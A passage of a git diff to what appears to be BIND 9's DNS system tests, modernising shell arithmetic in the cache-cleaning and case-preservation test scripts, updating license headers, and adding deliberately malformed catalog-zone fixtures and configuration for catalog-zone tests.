 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "check flushing of the full cache ($n)"
 ret=0
 clear_cache
 dump_cache
-nrecords=`filter_tree flushtest.example ns2/named_dump.db.test$n | wc -l`
+nrecords=$(filter_tree flushtest.example ns2/named_dump.db.test$n | wc -l)
 [ $nrecords -eq 0 ] || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "check flushing of individual nodes (interior node) ($n)"
 ret=0
 clear_cache
@@ -131,9 +135,9 @@ in_cache txt top1.flushtest.example || ret=1
 $RNDC $RNDCOPTS flushname top1.flushtest.example
 in_cache txt top1.flushtest.example && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "check flushing of individual nodes (leaf node, under the interior node) ($n)"
 ret=0
 # leaf node, under the interior node (should still exist)
@@ -141,9 +145,9 @@ in_cache txt third2.second1.top1.flushtest.example || ret=1
 $RNDC $RNDCOPTS flushname third2.second1.top1.flushtest.example
 in_cache txt third2.second1.top1.flushtest.example && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "check flushing of individual nodes (another leaf node, with both positive and negative cache entries) ($n)"
 ret=0
 # another leaf node, with both positive and negative cache entries
@@ -153,16 +157,16 @@ $RNDC $RNDCOPTS flushname third1.second1.top1.flushtest.example
 in_cache a third1.second1.top1.flushtest.example && ret=1
 in_cache txt third1.second1.top1.flushtest.example && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "check flushing a nonexistent name ($n)"
 ret=0
 $RNDC $RNDCOPTS flushname fake.flushtest.example || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "check flushing of namespaces ($n)"
 ret=0
 clear_cache
@@ -187,43 +191,43 @@ in_cache txt second1.top2.flushtest.example && ret=1
 in_cache txt second2.top2.flushtest.example && ret=1
 in_cache txt second3.top2.flushtest.example && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "check flushing a nonexistent namespace ($n)"
 ret=0
 $RNDC $RNDCOPTS flushtree fake.flushtest.example || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "check the number of cached records remaining ($n)"
 ret=0
 dump_cache
-nrecords=`filter_tree flushtest.example ns2/named_dump.db.test$n | grep -v '^;' | egrep '(TXT|ANY)' | wc -l`
+nrecords=$(filter_tree flushtest.example ns2/named_dump.db.test$n | grep -v '^;' | grep -E '(TXT|ANY)' | wc -l)
 [ $nrecords -eq 17 ] || { ret=1; echo_i "found $nrecords records expected 17"; }
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "check the check that flushname of a partial match works ($n)"
 ret=0
 in_cache txt second2.top1.flushtest.example || ret=1
 $RNDC $RNDCOPTS flushtree example
 in_cache txt second2.top1.flushtest.example && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "check the number of cached records remaining ($n)"
 ret=0
 dump_cache
-nrecords=`filter_tree flushtest.example ns2/named_dump.db.test$n | egrep '(TXT|ANY)' | wc -l`
+nrecords=$(filter_tree flushtest.example ns2/named_dump.db.test$n | grep -E '(TXT|ANY)' | wc -l)
 [ $nrecords -eq 1 ] || { ret=1; echo_i "found $nrecords records expected 1"; }
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "check flushtree clears adb correctly ($n)"
 ret=0
 load_cache
@@ -232,7 +236,6 @@ mv ns2/named_dump.db.test$n ns2/named_dump.db.test$n.a
 sed -n '/plain success\/timeout/,/Unassociated entries/p' \
 	ns2/named_dump.db.test$n.a > sed.out.$n.a
 grep 'plain success/timeout' sed.out.$n.a > /dev/null 2>&1 || ret=1
-grep 'Unassociated entries' sed.out.$n.a > /dev/null 2>&1 || ret=1
 grep 'ns.flushtest.example' sed.out.$n.a > /dev/null 2>&1 || ret=1
 $RNDC $RNDCOPTS flushtree flushtest.example || ret=1
 dump_cache
@@ -240,26 +243,25 @@ mv ns2/named_dump.db.test$n ns2/named_dump.db.test$n.b
 sed -n '/plain success\/timeout/,/Unassociated entries/p' \
 	ns2/named_dump.db.test$n.b > sed.out.$n.b
 grep 'plain success/timeout' sed.out.$n.b > /dev/null 2>&1 || ret=1
-grep 'Unassociated entries' sed.out.$n.b > /dev/null 2>&1 || ret=1
 grep 'ns.flushtest.example' sed.out.$n.b > /dev/null 2>&1 && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "check expire option returned from primary zone ($n)"
 ret=0
-$DIG @10.53.0.1 -p ${PORT} +expire soa expire-test > dig.out.expire
+$DIG @10.53.0.1 -p ${PORT} +expire soa expire-test > dig.out.expire || ret=1
 grep EXPIRE: dig.out.expire > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "check expire option returned from secondary zone ($n)"
 ret=0
-$DIG @10.53.0.2 -p ${PORT} +expire soa expire-test > dig.out.expire
+$DIG @10.53.0.2 -p ${PORT} +expire soa expire-test > dig.out.expire || ret=1
 grep EXPIRE: dig.out.expire > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "exit status: $status"
 [ $status -eq 0 ] || exit 1
diff --git a/bin/tests/system/cacheclean/tests_sh_cacheclean.py b/bin/tests/system/cacheclean/tests_sh_cacheclean.py
new file mode 100644
index 0000000000..e47157eb32
--- /dev/null
+++ b/bin/tests/system/cacheclean/tests_sh_cacheclean.py
@@ -0,0 +1,14 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+
+def test_cacheclean(run_tests_sh):
+    run_tests_sh()
diff --git a/bin/tests/system/case/clean.sh b/bin/tests/system/case/clean.sh
index 136b91b5d0..2c7bf979a6 100644
--- a/bin/tests/system/case/clean.sh
+++ b/bin/tests/system/case/clean.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/case/ns1/dynamic.db.in b/bin/tests/system/case/ns1/dynamic.db.in
index ee1c464e38..b39b5196b5 100644
--- a/bin/tests/system/case/ns1/dynamic.db.in
+++ b/bin/tests/system/case/ns1/dynamic.db.in
@@ -1,13 +1,14 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
 
-
 $TTL 300	; 5 minutes
 $ORIGIN DyNaMiC.
 @			IN SOA	mname1. . (
diff --git a/bin/tests/system/case/ns1/example.db b/bin/tests/system/case/ns1/example.db
index 8aba293683..b58414c2f5 100644
--- a/bin/tests/system/case/ns1/example.db
+++ b/bin/tests/system/case/ns1/example.db
@@ -1,13 +1,14 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
 
-
 $TTL 300	; 5 minutes
 @			IN SOA	mname1. . (
 				2000042407 ; serial
diff --git a/bin/tests/system/case/ns1/named.conf.in b/bin/tests/system/case/ns1/named.conf.in
index c13ac69816..fa0d8084d8 100644
--- a/bin/tests/system/case/ns1/named.conf.in
+++ b/bin/tests/system/case/ns1/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -22,6 +24,7 @@ options {
 	ixfr-from-differences yes;
 	check-integrity no;
 	minimal-responses no;
+	dnssec-validation no;
 };
 
 zone "example" {
diff --git a/bin/tests/system/case/ns2/named.conf.in b/bin/tests/system/case/ns2/named.conf.in
index 00dc52625f..fe0b52ca7a 100644
--- a/bin/tests/system/case/ns2/named.conf.in
+++ b/bin/tests/system/case/ns2/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -23,6 +25,7 @@ options {
 	check-integrity no;
 	no-case-compress { 10.53.0.2; };
 	minimal-responses no;
+	dnssec-validation no;
 };
 
 zone "example" {
diff --git a/bin/tests/system/case/setup.sh b/bin/tests/system/case/setup.sh
index 145e66e3ab..c9de4ee81c 100644
--- a/bin/tests/system/case/setup.sh
+++ b/bin/tests/system/case/setup.sh
@@ -1,7 +1,11 @@
+#!/bin/sh
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/case/tests.sh b/bin/tests/system/case/tests.sh
index 2764a6066a..6b40574b66 100644
--- a/bin/tests/system/case/tests.sh
+++ b/bin/tests/system/case/tests.sh
@@ -1,14 +1,18 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
 
+set -e
+
 . ../conf.sh
 
 DIGOPTS="+tcp +nosea +nostat +noquest +nocomm +nocmd -p ${PORT}"
@@ -22,67 +26,67 @@ wait_for_serial() (
 status=0
 n=0
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "waiting for zone transfer to complete ($n)"
 ret=0
 for i in 1 2 3 4 5 6 7 8 9
 do
-	$DIG $DIGOPTS soa example. @10.53.0.2 > dig.ns2.test$n
+	$DIG $DIGOPTS soa example. @10.53.0.2 > dig.ns2.test$n || true
 	grep SOA dig.ns2.test$n > /dev/null && break
 	sleep 1
 done
 for i in 1 2 3 4 5 6 7 8 9
 do
-	$DIG $DIGOPTS soa dynamic. @10.53.0.2 > dig.ns2.test$n
+	$DIG $DIGOPTS soa dynamic. @10.53.0.2 > dig.ns2.test$n || true
 	grep SOA dig.ns2.test$n > /dev/null && break
 	sleep 1
 done
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "testing case preserving responses - no acl ($n)"
 ret=0
-$DIG $DIGOPTS mx example. @10.53.0.1 > dig.ns1.test$n
+$DIG $DIGOPTS mx example. @10.53.0.1 > dig.ns1.test$n || ret=1
 grep "0.mail.eXaMpLe" dig.ns1.test$n > /dev/null || ret=1
 grep "mAiL.example" dig.ns1.test$n > /dev/null || ret=1
 test $ret -eq 0 || echo_i "failed"
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "testing no-case-compress acl '{ 10.53.0.2; }' ($n)"
 ret=0
 
 # check that we preserve zone case for non-matching query (10.53.0.1)
-$DIG $DIGOPTS mx example. -b 10.53.0.1 @10.53.0.1 > dig.ns1.test$n
+$DIG $DIGOPTS mx example. -b 10.53.0.1 @10.53.0.1 > dig.ns1.test$n || ret=1
 grep "0.mail.eXaMpLe" dig.ns1.test$n > /dev/null || ret=1
 grep "mAiL.example" dig.ns1.test$n > /dev/null || ret=1
 
 # check that we don't preserve zone case for match (10.53.0.2)
-$DIG $DIGOPTS mx example. -b 10.53.0.2 @10.53.0.2 > dig.ns2.test$n
+$DIG $DIGOPTS mx example. -b 10.53.0.2 @10.53.0.2 > dig.ns2.test$n || ret=1
 grep "0.mail.example" dig.ns2.test$n > /dev/null || ret=1
 grep "mail.example" dig.ns2.test$n > /dev/null || ret=1
 
 test $ret -eq 0 || echo_i "failed"
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "testing load of dynamic zone with various \$ORIGIN values ($n)"
 ret=0
-$DIG $DIGOPTS axfr dynamic @10.53.0.1 > dig.ns1.test$n
+$DIG $DIGOPTS axfr dynamic @10.53.0.1 > dig.ns1.test$n || ret=1
 digcomp dig.ns1.test$n dynamic.good || ret=1
 
 test $ret -eq 0 || echo_i "failed"
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "transfer of dynamic zone with various \$ORIGIN values ($n)"
 ret=0
-$DIG $DIGOPTS axfr dynamic @10.53.0.2 > dig.ns2.test$n
+$DIG $DIGOPTS axfr dynamic @10.53.0.2 > dig.ns2.test$n || ret=1
 digcomp dig.ns2.test$n dynamic.good || ret=1
 
 test $ret -eq 0 || echo_i "failed"
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "change SOA owner case via update ($n)"
 $NSUPDATE << EOF
 server 10.53.0.1 ${PORT}
@@ -90,31 +94,31 @@ zone dynamic
 update add dYNAMIc 0 SOA mname1. . 2000042408 20 20 1814400 3600
 send
 EOF
-$DIG $DIGOPTS axfr dynamic @10.53.0.1 > dig.ns1.test$n
+$DIG $DIGOPTS axfr dynamic @10.53.0.1 > dig.ns1.test$n || ret=1
 digcomp dig.ns1.test$n postupdate.good || ret=1
 
 test $ret -eq 0 || echo_i "failed"
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 ret=0
 echo_i "wait for zone to transfer ($n)"
 retry_quiet 20 wait_for_serial 10.53.0.2 dynamic 2000042408 dig.ns2.test$n || ret=1
 
 test $ret -eq 0 || echo_i "failed"
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "check SOA owner case is transferred to secondary ($n)"
 ret=0
-$DIG $DIGOPTS axfr dynamic @10.53.0.2 > dig.ns2.test$n
+$DIG $DIGOPTS axfr dynamic @10.53.0.2 > dig.ns2.test$n || ret=1
 digcomp dig.ns2.test$n postupdate.good || ret=1
 
 test $ret -eq 0 || echo_i "failed"
-status=`expr $status + $ret`
+status=$((status + ret))
 
 #update delete Ns1.DyNaMIC. 300 IN A 10.53.0.1
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "change A record owner case via update ($n)"
 $NSUPDATE << EOF
 server 10.53.0.1 ${PORT}
@@ -122,26 +126,26 @@ zone dynamic
 update add Ns1.DyNaMIC. 300 IN A 10.53.0.1
 send
 EOF
-$DIG $DIGOPTS axfr dynamic @10.53.0.1 > dig.ns1.test$n
+$DIG $DIGOPTS axfr dynamic @10.53.0.1 > dig.ns1.test$n || ret=1
 digcomp dig.ns1.test$n postns1.good || ret=1
 
 test $ret -eq 0 || echo_i "failed"
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 ret=0
 echo_i "wait for zone to transfer ($n)"
 retry_quiet 20 wait_for_serial 10.53.0.2 dynamic 2000042409 dig.ns2.test$n || ret=1
 
 test $ret -eq 0 || echo_i "failed"
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "check A owner case is transferred to secondary ($n)"
 ret=0
-$DIG $DIGOPTS axfr dynamic @10.53.0.2 > dig.ns2.test$n
+$DIG $DIGOPTS axfr dynamic @10.53.0.2 > dig.ns2.test$n || ret=1
 digcomp dig.ns2.test$n postns1.good || ret=1
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "exit status: $status"
 [ $status -eq 0 ] || exit 1
diff --git a/bin/tests/system/case/tests_sh_case.py b/bin/tests/system/case/tests_sh_case.py
new file mode 100644
index 0000000000..bbe94d3773
--- /dev/null
+++ b/bin/tests/system/case/tests_sh_case.py
@@ -0,0 +1,14 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+
+def test_case(run_tests_sh):
+    run_tests_sh()
diff --git a/bin/tests/system/catz/.gitignore b/bin/tests/system/catz/.gitignore
index 85e2e07384..aaae88df39 100644
--- a/bin/tests/system/catz/.gitignore
+++ b/bin/tests/system/catz/.gitignore
@@ -10,8 +10,11 @@
 /ns2/catalog*.example.db
 
 /ns1/*dom*.example.db
+/ns3/dom2.example.db
 /ns3/dom13.example.db
 /ns3/dom14.example.db
+/ns3/dom17.example.db
+/ns3/dom18.example.db
 
 /ns2/zonedir
 
diff --git a/bin/tests/system/catz/clean.sh b/bin/tests/system/catz/clean.sh
index 7b90c69770..21dbc752c1 100644
--- a/bin/tests/system/catz/clean.sh
+++ b/bin/tests/system/catz/clean.sh
@@ -1,7 +1,11 @@
+#!/bin/sh
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -9,19 +13,25 @@
 
 rm -f dig.out.*
 rm -f ns*/*.jnl
+rm -f ns*/*.mkeys
+rm -f ns*/*.nzd ns*/*.nzd-lock
 rm -f ns*/*.nzf
+rm -f ns*/managed-keys.bind*
+rm -f ns*/named.conf
 rm -f ns*/named.lock
 rm -f ns*/named.memstats
-rm -f ns*/named.conf
 rm -f ns*/named.run
 rm -f ns*/named.run.prev
 rm -f ns1/*dom*example.db
+rm -f ns1/tls1.example.db
 rm -f ns2/__catz__*db
+rm -f ns2/catalog-bad*.db
 rm -f ns2/named.conf.tmp
-rm -f ns3/dom13.example.db ns3/dom14.example.db
-rm -f nsupdate.out.*
+rm -f ns3/dom2.example.db ns3/dom13.example.db ns3/dom14.example.db ns3/dom17.example.db ns3/dom18.example.db
+rm -f ns4/__catz__*db
+rm -f ns4/catalog-self.example.db
 rm -f ns[123]/catalog[1234].example.db
-rm -rf ns2/zonedir
-rm -f ns*/*.nzd ns*/*.nzd-lock
-rm -f ns*/managed-keys.bind*
+rm -f ns[14]/catalog-tls.example.db
+rm -f nsupdate.out.*
 rm -f wait_for_message.*
+rm -rf ns2/zonedir
diff --git a/bin/tests/system/catz/ns1/catalog-bad1.example.db b/bin/tests/system/catz/ns1/catalog-bad1.example.db
new file mode 100644
index 0000000000..b8402de301
--- /dev/null
+++ b/bin/tests/system/catz/ns1/catalog-bad1.example.db
@@ -0,0 +1,13 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+@ 3600 SOA . . 1 86400 3600 86400 3600
+@ 3600 IN NS invalid.
diff --git a/bin/tests/system/catz/ns1/catalog-bad2.example.db b/bin/tests/system/catz/ns1/catalog-bad2.example.db
new file mode 100644
index 0000000000..06b9121f13
--- /dev/null
+++ b/bin/tests/system/catz/ns1/catalog-bad2.example.db
@@ -0,0 +1,14 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+@ 3600 SOA . . 1 86400 3600 86400 3600
+@ 3600 IN NS invalid.
+version IN TXT "99"
diff --git a/bin/tests/system/catz/ns1/catalog-bad3.example.db b/bin/tests/system/catz/ns1/catalog-bad3.example.db
new file mode 100644
index 0000000000..0116697de3
--- /dev/null
+++ b/bin/tests/system/catz/ns1/catalog-bad3.example.db
@@ -0,0 +1,15 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+@ 3600 SOA . . 1 86400 3600 86400 3600
+@ 3600 IN NS invalid.
+version IN TXT "1"
+version IN TXT "2"
diff --git a/bin/tests/system/catz/ns1/catalog-bad4.example.db b/bin/tests/system/catz/ns1/catalog-bad4.example.db
new file mode 100644
index 0000000000..d04bab321c
--- /dev/null
+++ b/bin/tests/system/catz/ns1/catalog-bad4.example.db
@@ -0,0 +1,14 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+@ 3600 SOA . . 1 86400 3600 86400 3600
+@ 3600 IN NS invalid.
+version IN A 10.53.0.1
diff --git a/bin/tests/system/catz/ns1/catalog-bad5.example.db b/bin/tests/system/catz/ns1/catalog-bad5.example.db
new file mode 100644
index 0000000000..b014d0a2d2
--- /dev/null
+++ b/bin/tests/system/catz/ns1/catalog-bad5.example.db
@@ -0,0 +1,14 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+@ 3600 SOA . . 1 86400 3600 86400 3600
+@ 3600 CH NS invalid.
+version CH TXT "2"
diff --git a/bin/tests/system/catz/ns1/catalog.example.db.in b/bin/tests/system/catz/ns1/catalog.example.db.in
index dc18bf5b73..6b52947922 100644
--- a/bin/tests/system/catz/ns1/catalog.example.db.in
+++ b/bin/tests/system/catz/ns1/catalog.example.db.in
@@ -1,12 +1,14 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
 
 @ 3600 SOA . . 1 86400 3600 86400 3600
 @ 3600 IN NS invalid.
-version IN TXT "1"
+version IN TXT "2"
diff --git a/bin/tests/system/catz/ns1/named.conf.in b/bin/tests/system/catz/ns1/named.conf.in
index 121866910a..7ffec5a809 100644
--- a/bin/tests/system/catz/ns1/named.conf.in
+++ b/bin/tests/system/catz/ns1/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -20,46 +22,124 @@ options {
 	notify-source 10.53.0.1;
 	transfer-source 10.53.0.1;
 	port @PORT@;
+	tls-port @TLSPORT@;
 	allow-new-zones yes;
 	pid-file "named.pid";
 	listen-on { 10.53.0.1; };
 	listen-on port @EXTRAPORT1@ { 10.53.0.1; };
+	listen-on tls ephemeral { 10.53.0.1; };
 	listen-on-v6 { none; };
 	notify no;
+	notify-delay 0;
 	recursion no;
 	allow-transfer { any; };
+	dnssec-validation no;
 };
 
-zone "catalog1.example" {
-	type primary;
-	file "catalog1.example.db";
-	allow-transfer { any; };
-	allow-update { any; };
-	also-notify { 10.53.0.2; };
-	notify explicit;
-};
+view "default" {
 
-zone "catalog3.example" {
-	type primary;
-	file "catalog3.example.db";
-	allow-transfer { any; };
-	allow-update { any; };
-	also-notify { 10.53.0.2; };
-	notify explicit;
-};
+	zone "catalog1.example" {
+		type primary;
+		file "catalog1.example.db";
+		allow-transfer { any; };
+		allow-update { any; };
+		also-notify { 10.53.0.2; };
+		notify explicit;
+	};
 
-zone "catalog4.example" {
-	type primary;
-	file "catalog4.example.db";
-	allow-transfer { any; };
-	allow-update { any; };
-	also-notify { 10.53.0.2; };
-	notify explicit;
+	/* catalog2 is provided by the ns3 primary */
+
+	zone "catalog3.example" {
+		type primary;
+		file "catalog3.example.db";
+		allow-transfer { any; };
+		allow-update { any; };
+		also-notify { 10.53.0.2; };
+		notify explicit;
+	};
+
+	zone "catalog4.example" {
+		type primary;
+		file "catalog4.example.db";
+		allow-transfer { any; };
+		allow-update { any; };
+		also-notify { 10.53.0.2; };
+		notify explicit;
+	};
+
+	/* catalog5 is missing on purpose */
+
+	# No "version" property
+	zone "catalog-bad1.example" {
+		type primary;
+		file "catalog-bad1.example.db";
+		allow-transfer { any; };
+		allow-update { any; };
+		also-notify { 10.53.0.2; };
+		notify explicit;
+	};
+
+	# Unsupported "version" property
+	zone "catalog-bad2.example" {
+		type primary;
+		file "catalog-bad2.example.db";
+		allow-transfer { any; };
+		allow-update { any; };
+		also-notify { 10.53.0.2; };
+		notify explicit;
+	};
+
+	# Two RRs in TXT RRset for the "version" property
+	zone "catalog-bad3.example" {
+		type primary;
+		file "catalog-bad3.example.db";
+		allow-transfer { any; };
+		allow-update { any; };
+		also-notify { 10.53.0.2; };
+		notify explicit;
+	};
+
+	# Type A "version" property
+	zone "catalog-bad4.example" {
+		type primary;
+		file "catalog-bad4.example.db";
+		allow-transfer { any; };
+		allow-update { any; };
+		also-notify { 10.53.0.2; };
+		notify explicit;
+	};
+
+	# A catalog zone that requires TLS to be used
